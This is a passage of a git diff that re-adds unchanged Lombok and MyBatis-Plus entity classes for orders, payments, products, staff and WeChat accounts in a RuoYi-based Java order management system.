图片地址 + */ + private String pic; + + /** + * 全景地址 + */ + private String link; + + /** + * 上传时间 + */ + private Date addTime; + + /** + * 操作人 + */ + private Long addUser; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderCd.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderCd.java index ad12e97..33b162a 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderCd.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderCd.java @@ -1,53 +1,53 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; - -import java.io.Serial; -import java.math.BigDecimal; - -/** - * 拆单记录对象 tp_order_cd - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("tp_order_cd") -public class TpOrderCd extends BaseEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 所属订单 - */ - private Long oid; - - /** - * 订单价格 - */ - private BigDecimal price; - - /** - * 下单时间 - */ - private Long addTime; - - /** - * 操作人 - */ - private Long addUser; - - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; + +import java.io.Serial; +import java.math.BigDecimal; + +/** + * 拆单记录对象 tp_order_cd + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("tp_order_cd") +public class TpOrderCd extends BaseEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 所属订单 + */ + private Long oid; + + /** + * 订单价格 + */ + private BigDecimal price; + + /** + * 下单时间 + */ + private Long addTime; + + /** + * 操作人 + */ + private Long addUser; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderComment.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderComment.java index 6417f61..8855956 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderComment.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderComment.java @@ -1,78 +1,78 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; - -import java.io.Serial; -import java.util.Date; - -/** - * 订单评论对象 tp_order_comment - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("tp_order_comment") -public class TpOrderComment extends BaseEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 所属订单 - */ - private Long oid; - - /** - * 评论人 - */ - private Long uid; - - /** - * 评价等级(1=差评,2=中评,3=好评) - */ - private Long grade; - - /** - * 速度 - */ - private Long speed; - - /** - * 质量、 - */ - private Long quality; - - /** - * 服务 - */ - private Long serve; - - /** - * 评论内容 - */ - private String content; - - /** - * 评论时间 - */ - private Date addTime; - - /** - * 提交人类型(1=用户,2=客服) - */ - private Long type; - - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; + +import java.io.Serial; +import java.util.Date; + +/** + * 订单评论对象 tp_order_comment + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("tp_order_comment") +public class TpOrderComment extends BaseEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 所属订单 + */ + private Long oid; + + /** + * 评论人 + */ + private Long uid; + + /** + * 评价等级(1=差评,2=中评,3=好评) + */ + private Long grade; + + /** + * 速度 + */ + private Long speed; + + /** + * 质量、 + */ + private Long quality; + + /** + * 服务 + */ + private Long serve; + + /** + * 评论内容 + */ + private String content; + + /** + * 评论时间 + */ + private Date addTime; + + /** + * 提交人类型(1=用户,2=客服) + */ + private Long type; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderModel.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderModel.java index b838f11..159da96 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderModel.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderModel.java @@ -1,57 +1,57 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; - -import java.io.Serial; -import java.util.Date; - -/** - * 订单模型对象 tp_order_model - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@TableName("tp_order_model") -public class TpOrderModel { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 所属订单 - */ - private Long oid; - - /** - * 模型名称 - */ - private String name; - - /** - * 模型地址 - */ - private String pic; - - /** - * 上传时间 - */ - private Date addTime; - - /** - * 操作人 - */ - private Long addUser; - - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serial; +import java.util.Date; + +/** + * 订单模型对象 tp_order_model + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tp_order_model") +public class TpOrderModel { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 所属订单 + */ + private Long oid; + + /** + * 模型名称 + */ + private String name; + + /** + * 模型地址 + */ + private String pic; + + /** + * 上传时间 + */ + private Date addTime; + + /** + * 操作人 + */ + private Long addUser; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderPay.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderPay.java index fe13bcd..0805f4a 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderPay.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderPay.java @@ -1,62 +1,62 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; - -import java.io.Serial; - -/** - * 订单支付记录对象 tp_order_pay - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("tp_order_pay") -public class TpOrderPay extends BaseEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 所属订单 - */ - private Long oid; - - /** - * 订单编号 - */ - private String orderId; - - /** - * 订单价格 - */ - private Long price; - - /** - * 状态(1待支付,2已支付) - */ - private Long state; - - /** - * 下单时间 - */ - private Long addTime; - - /** - * transaction_id - */ - private String transactionId; - - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; + +import java.io.Serial; + +/** + * 订单支付记录对象 tp_order_pay + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("tp_order_pay") +public class TpOrderPay extends BaseEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 所属订单 + */ + private Long oid; + + /** + * 订单编号 + */ + private String orderId; + + /** + * 订单价格 + */ + private Long price; + + /** + * 状态(1待支付,2已支付) + */ + private Long state; + + /** + * 下单时间 + */ + private Long addTime; + + /** + * transaction_id + */ + private String transactionId; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderRecord.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderRecord.java index c003e24..3f4a20a 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderRecord.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderRecord.java @@ -1,67 +1,67 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; - -import java.io.Serial; -import java.util.Date; - -/** - * 操作历史对象 tp_order_record - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@TableName("tp_order_record") -public class TpOrderRecord { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 所属订单 - */ - private Long oid; - - /** - * 操作类型 - */ - private String type; - - /** - * 操作内容 - */ - private String content; - - /** - * 操作人 - */ - private Long addUser; - - /** - * 操作时间 - */ - private Date addTime; - - /** - * 操作状态(1=记录,2=节点) - */ - private Integer state; - - /** - * json记录 - */ - private String record; - - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serial; +import java.util.Date; + +/** + * 操作历史对象 tp_order_record + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tp_order_record") +public class TpOrderRecord { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 所属订单 + */ + private Long oid; + + /** + * 操作类型 + */ + private String type; + + /** + * 操作内容 + */ + private String content; + + /** + * 操作人 + */ + private Long addUser; + + /** + * 操作时间 + */ + private Date addTime; + + /** + * 操作状态(1=记录,2=节点) + */ + private Integer state; + + /** + * json记录 + */ + private String record; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderSmall.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderSmall.java index cbd067f..59e63d2 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderSmall.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpOrderSmall.java @@ -1,57 +1,57 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; - -import java.io.Serial; -import java.util.Date; - -/** - * 订单小图对象 tp_order_small - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@TableName("tp_order_small") -public class TpOrderSmall { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 所属订单 - */ - private Long oid; - - /** - * 图片名称 - */ - private String name; - - /** - * 图片地址 - */ - private String pic; - - /** - * 上传时间 - */ - private Date addTime; - - /** - * 操作人 - */ - private Long addUser; - - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serial; +import java.util.Date; + +/** + * 订单小图对象 tp_order_small + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tp_order_small") +public class TpOrderSmall { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 所属订单 + */ + private Long oid; + + /** + * 图片名称 + */ + private String name; + + /** + * 图片地址 + */ + private String pic; + + /** + * 上传时间 + */ + private Date addTime; + + /** + * 操作人 + */ + private Long addUser; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpPanorama.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpPanorama.java index 5210420..091c745 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpPanorama.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpPanorama.java @@ -1,76 +1,76 @@ -package org.dromara.work.domain; - -import org.dromara.common.mybatis.core.domain.BaseEntity; -import com.baomidou.mybatisplus.annotation.*; -import lombok.Data; -import lombok.EqualsAndHashCode; - -import java.io.Serial; - -/** - * 全景对象 tp_panorama - * - * @author Maosw - * @date 2025-03-26 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("tp_panorama") -public class TpPanorama extends BaseEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * ID - */ - @TableId(value = "id") - private Long id; - - /** - * 订单ID - */ - private Long orderId; - - /** - * 标题 - */ - private String title; - - /** - * 背景链接 - */ - private String url; - - /** - * 热点 - */ - private String point; - - /** - * 样式 - */ - private String style; - - /** - * 图片 - */ - private String imgs; - - /** - * 宽度 - */ - private Long width; - - /** - * 排序 - */ - private Integer sort; - - /** - * 备注 - */ - private String remark; - - -} +package org.dromara.work.domain; + +import org.dromara.common.mybatis.core.domain.BaseEntity; +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serial; + +/** + * 全景对象 tp_panorama + * + * @author Maosw + * @date 2025-03-26 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("tp_panorama") +public class TpPanorama extends BaseEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * ID + */ + @TableId(value = "id") + private Long id; + + /** + * 订单ID + */ + private Long orderId; + + /** + * 标题 + */ + private String title; + + /** + * 背景链接 + */ + private String url; + + /** + * 热点 + */ + private String point; + + /** + * 样式 + */ + private String style; + + /** + * 图片 + */ + private String imgs; + + /** + * 宽度 + */ + private Long width; + + /** + * 排序 + */ + private Integer sort; + + /** + * 备注 + */ + private String remark; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpProd.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpProd.java index 9ce0d28..6715aee 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpProd.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpProd.java @@ -1,87 +1,87 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; - -import java.io.Serial; - -/** - * 商品对象 tp_prod - * - * @author Maosw - * @date 2025-03-15 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("tp_prod") -public class TpProd extends BaseEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 商品ID - */ - @TableId(value = "id") - private Long id; - - /** - * 商品标题 - */ - private String title; - - /** - * 商品主图 - */ - private String pic; - - /** - * 商品图片,以,分割 - */ - private String imgs; - - /** - * 视频地址 - */ - private String video; - - /** - * 详细描述 - */ - private String content; - - /** - * 商品参数json - */ - private String parame; - - /** - * 展示价 - */ - private Long price; - - /** - * 成本价 - */ - private Long oriPrice; - - /** - * 状态:1-上架,2-下架 - */ - private Long status; - - /** - * 库存 - */ - private Long stocks; - - /** - * 备注 - */ - private String remark; - - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; + +import java.io.Serial; + +/** + * 商品对象 tp_prod + * + * @author Maosw + * @date 2025-03-15 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("tp_prod") +public class TpProd extends BaseEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 商品ID + */ + @TableId(value = "id") + private Long id; + + /** + * 商品标题 + */ + private String title; + + /** + * 商品主图 + */ + private String pic; + + /** + * 商品图片,以,分割 + */ + private String imgs; + + /** + * 视频地址 + */ + private String video; + + /** + * 详细描述 + */ + private String content; + + /** + * 商品参数json + */ + private String parame; + + /** + * 展示价 + */ + private Long price; + + /** + * 成本价 + */ + private Long oriPrice; + + /** + * 状态:1-上架,2-下架 + */ + private Long status; + + /** + * 库存 + */ + private Long stocks; + + /** + * 备注 + */ + private String remark; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpReceipt.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpReceipt.java index 40d6e00..42c2075 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpReceipt.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpReceipt.java @@ -1,118 +1,118 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.FieldFill; -import com.baomidou.mybatisplus.annotation.TableField; -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; - -import java.io.Serial; -import java.math.BigDecimal; -import java.util.Date; - -/** - * 收款管理对象 tp_receipt - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@TableName("tp_receipt") -public class TpReceipt { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 收款渠道 - */ - private Long qid; - - /** - * 收款金额 - */ - private BigDecimal price; - - /** - * 汇款时间 - */ - private Date hkTime; - - /** - * 状态(1=待认领,2=已认领) - */ - private Integer state; - - /** - * 客户ID - */ - @TableField(fill = FieldFill.INSERT_UPDATE) - private Long cid; - - /** - * 客户姓名 - */ - @TableField(fill = FieldFill.INSERT_UPDATE) - private String kname; - - /** - * 认领时间 - */ - @TableField(fill = FieldFill.INSERT_UPDATE) - private Date rlTime; - - /** - * 认领人 - */ - @TableField(fill = FieldFill.INSERT_UPDATE) - private Long rid; - - /** - * 备注 - */ - private String remark; - - /** - * 是否删除(1=未删除,2=已删除) - */ - private Integer isDel; - - /** - * 创建时间 - */ - private Date addTime; - - /** - * 操作人 - */ - private Long addUser; - - /** - * 退款金额 - */ - private Integer returnMoney; - - /** - * 退款备注 - */ - private String returnRemark; - - /** - * 外部交易号 - */ - private String outTradeNo; - - /** - * 交易流水号 - */ - private String tradeNo; - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.FieldFill; +import com.baomidou.mybatisplus.annotation.TableField; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serial; +import java.math.BigDecimal; +import java.util.Date; + +/** + * 收款管理对象 tp_receipt + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tp_receipt") +public class TpReceipt { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 收款渠道 + */ + private Long qid; + + /** + * 收款金额 + */ + private BigDecimal price; + + /** + * 汇款时间 + */ + private Date hkTime; + + /** + * 状态(1=待认领,2=已认领) + */ + private Integer state; + + /** + * 客户ID + */ + @TableField(fill = FieldFill.INSERT_UPDATE) + private Long cid; + + /** + * 客户姓名 + */ + @TableField(fill = FieldFill.INSERT_UPDATE) + private String kname; + + /** + * 认领时间 + */ + @TableField(fill = FieldFill.INSERT_UPDATE) + private Date rlTime; + + /** + * 认领人 + */ + @TableField(fill = FieldFill.INSERT_UPDATE) + private Long rid; + + /** + * 备注 + */ + private String remark; + + /** + * 是否删除(1=未删除,2=已删除) + */ + private Integer isDel; + + /** + * 创建时间 + */ + private Date addTime; + + /** + * 操作人 + */ + private Long addUser; + + /** + * 退款金额 + */ + private Integer returnMoney; + + /** + * 退款备注 + */ + private String returnRemark; + + /** + * 外部交易号 + */ + private String outTradeNo; + + /** + * 交易流水号 + */ + private String tradeNo; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpRemittance.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpRemittance.java index 98e77d4..59d6b98 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpRemittance.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpRemittance.java @@ -1,86 +1,86 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; - -import java.io.Serial; - -/** - * 汇款对象 tp_remittance - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@TableName("tp_remittance") -public class TpRemittance { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 别名 - */ - private String alias; - - /** - * 开户渠道 - */ - private Long qid; - - /** - * 开户类型 - */ - private Long type; - - /** - * 开户名称 - */ - private String name; - - /** - * 收款码 - */ - private String qrcode; - - /** - * 开户时间 - */ - private Long opentime; - - /** - * 付款码链接 - */ - private String link; - - /** - * 状态(1=正常,2=禁用) - */ - private Long state; - - /** - * 创建人 - */ - private Long addUser; - - /** - * 是否删除(1=未删除,2=已删除) - */ - private Long isDel; - - /** - * 录入时间 - */ - private Long addTime; - - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.io.Serial; + +/** + * 汇款对象 tp_remittance + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tp_remittance") +public class TpRemittance { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 别名 + */ + private String alias; + + /** + * 开户渠道 + */ + private Long qid; + + /** + * 开户类型 + */ + private Long type; + + /** + * 开户名称 + */ + private String name; + + /** + * 收款码 + */ + private String qrcode; + + /** + * 开户时间 + */ + private Long opentime; + + /** + * 付款码链接 + */ + private String link; + + /** + * 状态(1=正常,2=禁用) + */ + private Long state; + + /** + * 创建人 + */ + private Long addUser; + + /** + * 是否删除(1=未删除,2=已删除) + */ + private Long isDel; + + /** + * 录入时间 + */ + private Long addTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpStaff.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpStaff.java index 507bc18..c0c8d49 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpStaff.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpStaff.java @@ -1,118 +1,118 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; - -import java.io.Serial; -import java.math.BigDecimal; - -/** - * 人员对象 tp_staff - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@TableName("tp_staff") -public class TpStaff extends BaseEntity { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 用户名称 - */ - private String username; - - /** - * 用户编号 - */ - private String code; - - /** - * 姓名 - */ - private String name; - - /** - * 所属部门 - */ - private Long cid; - - /** - * 手机号 - */ - private String phone; - - /** - * 工龄 - */ - private Long year; - - /** - * 工种 - */ - private Integer work; - - /** - * 擅长类型 - */ - private String type; - - /** - * 登录密码 - */ - private String password; - - /** - * 身份(1=员工,2=技术,3=客服,4=分图员) - */ - private Long identity; - - /** - * 角色ID - */ - private Long rid; - - /** - * 状态(1=正常,2=关闭) - */ - private Long state; - - /** - * 是否删除(1=未删除,2=已删除) - */ - private Long isDel; - - /** - * 创建时间 - */ - private Long addTime; - - /** - * 拆单 - */ - private BigDecimal yue; - - /** - * 上传类型(1=服务器上传,2=OSS上传,3=局域网上传) - */ - private Long upType; - - /** - * 上传节点 - */ - private Long urid; - - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; + +import java.io.Serial; +import java.math.BigDecimal; + +/** + * 人员对象 tp_staff + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("tp_staff") +public class TpStaff extends BaseEntity { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 用户名称 + */ + private String username; + + /** + * 用户编号 + */ + private String code; + + /** + * 姓名 + */ + private String name; + + /** + * 所属部门 + */ + private Long cid; + + /** + * 手机号 + */ + private String phone; + + /** + * 工龄 + */ + private Long year; + + /** + * 工种 + */ + private Integer work; + + /** + * 擅长类型 + */ + private String type; + + /** + * 登录密码 + */ + private String password; + + /** + * 身份(1=员工,2=技术,3=客服,4=分图员) + */ + private Long identity; + + /** + * 角色ID + */ + private Long rid; + + /** + * 状态(1=正常,2=关闭) + */ + private Long state; + + /** + * 是否删除(1=未删除,2=已删除) + */ + private Long isDel; + + /** + * 创建时间 + */ + private Long addTime; + + /** + * 拆单 + */ + private BigDecimal yue; + + /** + * 上传类型(1=服务器上传,2=OSS上传,3=局域网上传) + */ + private Long upType; + + /** + * 上传节点 + */ + private Long urid; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpStaffPay.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpStaffPay.java index 0fff432..8c80a4a 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpStaffPay.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpStaffPay.java @@ -1,59 +1,59 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; - -import java.io.Serial; -import java.math.BigDecimal; -import java.util.Date; - -/** - * 客服支出记录对象 tp_staff_pay - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@TableName("tp_staff_pay") -public class TpStaffPay { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 所属订单 - */ - private Long oid; - - /** - * 支出金额 - */ - private BigDecimal price; - - /** - * 操作内容 - */ - private String content; - - /** - * 操作人 - */ - private Long addUser; - - /** - * 操作时间 - */ - private Date addTime; - - -} +package org.dromara.work.domain; + +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; + +import java.io.Serial; +import java.math.BigDecimal; +import java.util.Date; + +/** + * 客服支出记录对象 tp_staff_pay + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@TableName("tp_staff_pay") +public class TpStaffPay { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "id") + private Long id; + + /** + * 所属订单 + */ + private Long oid; + + /** + * 支出金额 + */ + private BigDecimal price; + + /** + * 操作内容 + */ + private String content; + + /** + * 操作人 + */ + private Long addUser; + + /** + * 操作时间 + */ + private Date addTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpWechat.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpWechat.java index 81e26f4..9ba1b50 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpWechat.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/TpWechat.java @@ -1,149 +1,149 @@ -package org.dromara.work.domain; - -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import com.fasterxml.jackson.annotation.JsonFormat; -import lombok.Data; -import lombok.EqualsAndHashCode; - -import java.io.Serial; -import java.math.BigDecimal; -import java.util.Date; - -/** - * 基本信息对象 tp_wechat - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@TableName("tp_wechat") -public class TpWechat { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "id") - private Long id; - - /** - * 唯一编号 - */ - private String code; - - /** - * 微信昵称 - */ - private String nikename; - - /** - * 使用人 - */ - private Long uid; - - /** - * 使用人 - */ - private String user; - - /** - * 手机号 - */ - private String phone; - 